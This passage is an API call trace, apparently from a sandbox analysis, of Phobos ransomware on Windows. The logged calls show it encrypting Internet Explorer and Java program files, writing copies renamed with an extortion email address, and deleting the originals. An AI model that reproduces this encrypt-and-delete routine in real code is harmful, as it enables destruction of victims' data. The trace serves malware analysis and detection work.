hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=5632) returned 1 [0172.053] CloseHandle (hObject=0x2d8) returned 1 [0172.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui")) returned 0x20 [0172.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\en-US\\iexplore.exe.mui" (normalized: "c:\\program files\\internet explorer\\en-us\\iexplore.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.053] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.053] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=53248) returned 1 [0172.053] CloseHandle (hObject=0x2d8) returned 1 [0172.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe")) returned 0x20 [0172.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\extexport.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files\\internet explorer\\extexport.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.054] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.054] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=54272) returned 1 [0172.107] CloseHandle (hObject=0x2d8) returned 1 [0172.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll")) returned 0x20 [0172.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.108] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.109] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=16960) returned 1 [0172.109] CloseHandle (hObject=0x2d8) returned 1 [0172.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0172.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.109] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0172.109] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0172.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0172.110] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1610) returned 1 [0172.110] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0172.110] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4240, lpOverlapped=0x0) returned 1 [0172.239] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4250, dwBufLen=0x4250 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x4250) returned 1 [0172.239] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x4250, lpOverlapped=0x0) returned 1 [0175.745] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1910) returned 1 [0175.745] CryptSetKeyParam (hKey=0x1d1910, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0175.745] CryptEncrypt (in: hKey=0x1d1910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x30, dwBufLen=0x30 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x30) returned 1 [0175.745] CryptDestroyKey (hKey=0x1d1910) returned 1 [0175.745] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xe2, lpOverlapped=0x0) returned 1 [0175.745] CryptDestroyKey (hKey=0x1d1610) returned 1 [0175.745] CloseHandle (hObject=0x2d8) returned 1 [0175.745] CloseHandle (hObject=0x2e4) returned 1 [0175.745] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1 [0175.749] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0175.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0175.749] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=86080) returned 1 [0175.750] CloseHandle (hObject=0x2e4) returned 1 [0175.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0175.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0175.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0175.750] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0175.750] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0175.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0175.751] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d16d0) returned 1 [0175.751] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0175.751] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x15040, lpOverlapped=0x0) returned 1 [0175.914] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x15050, dwBufLen=0x15050 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x15050) returned 1 [0175.914] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x15050, lpOverlapped=0x0) returned 1 [0175.917] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1590) returned 1 [0175.917] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0175.917] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0175.917] CryptDestroyKey (hKey=0x1d1590) returned 1 [0175.917] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0175.917] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0175.917] CloseHandle (hObject=0x2e4) returned 1 [0175.917] CloseHandle (hObject=0x2d8) returned 1 [0175.918] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1 [0175.920] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0175.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0175.920] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=1026112) returned 1 [0175.921] CloseHandle (hObject=0x2d8) returned 1 [0175.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20 [0175.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0175.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0175.922] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0175.922] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0175.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0175.939] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d17d0) returned 1 [0175.939] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0175.939] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xfa840, lpOverlapped=0x0) returned 1 [0176.079] CryptEncrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xfa850, dwBufLen=0xfa850 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xfa850) returned 1 [0176.081] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xfa850, lpOverlapped=0x0) returned 1 [0176.100] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d19d0) returned 1 [0176.100] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.100] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0176.100] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0176.100] WriteFile (in: hFile=0x2e4, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0176.100] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0176.100] CloseHandle (hObject=0x2d8) returned 1 [0176.100] CloseHandle (hObject=0x2e4) returned 1 [0176.100] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1 [0176.111] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0176.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0176.111] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=1156672) returned 1 [0176.111] CloseHandle (hObject=0x2e4) returned 1 [0176.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20 [0176.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0176.112] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.112] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0176.113] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1550) returned 1 [0176.113] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.113] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x110100, lpOverlapped=0x0) returned 1 [0176.312] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x110100, dwBufLen=0x110100 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x110100) returned 1 [0176.313] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x110100, lpOverlapped=0x0) returned 1 [0176.334] ReadFile (in: hFile=0x2e4, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0xa540, lpOverlapped=0x0) returned 1 [0176.447] CryptEncrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xa550, dwBufLen=0xa550 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0xa550) returned 1 [0176.447] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xa550, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xa550, lpOverlapped=0x0) returned 1 [0176.448] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1810) returned 1 [0176.448] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.448] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50, dwBufLen=0x50 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x50) returned 1 [0176.448] CryptDestroyKey (hKey=0x1d1810) returned 1 [0176.448] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x102, lpOverlapped=0x0) returned 1 [0176.448] CryptDestroyKey (hKey=0x1d1550) returned 1 [0176.448] CloseHandle (hObject=0x2e4) returned 1 [0176.448] CloseHandle (hObject=0x2d8) returned 1 [0176.448] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1 [0176.451] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0176.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0176.452] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=24640) returned 1 [0176.452] CloseHandle (hObject=0x2d8) returned 1 [0176.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0176.452] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0176.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0176.452] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.452] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0176.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0176.453] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1a10) returned 1 [0176.453] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0176.453] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x6040, lpOverlapped=0x0) returned 1 [0176.526] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, 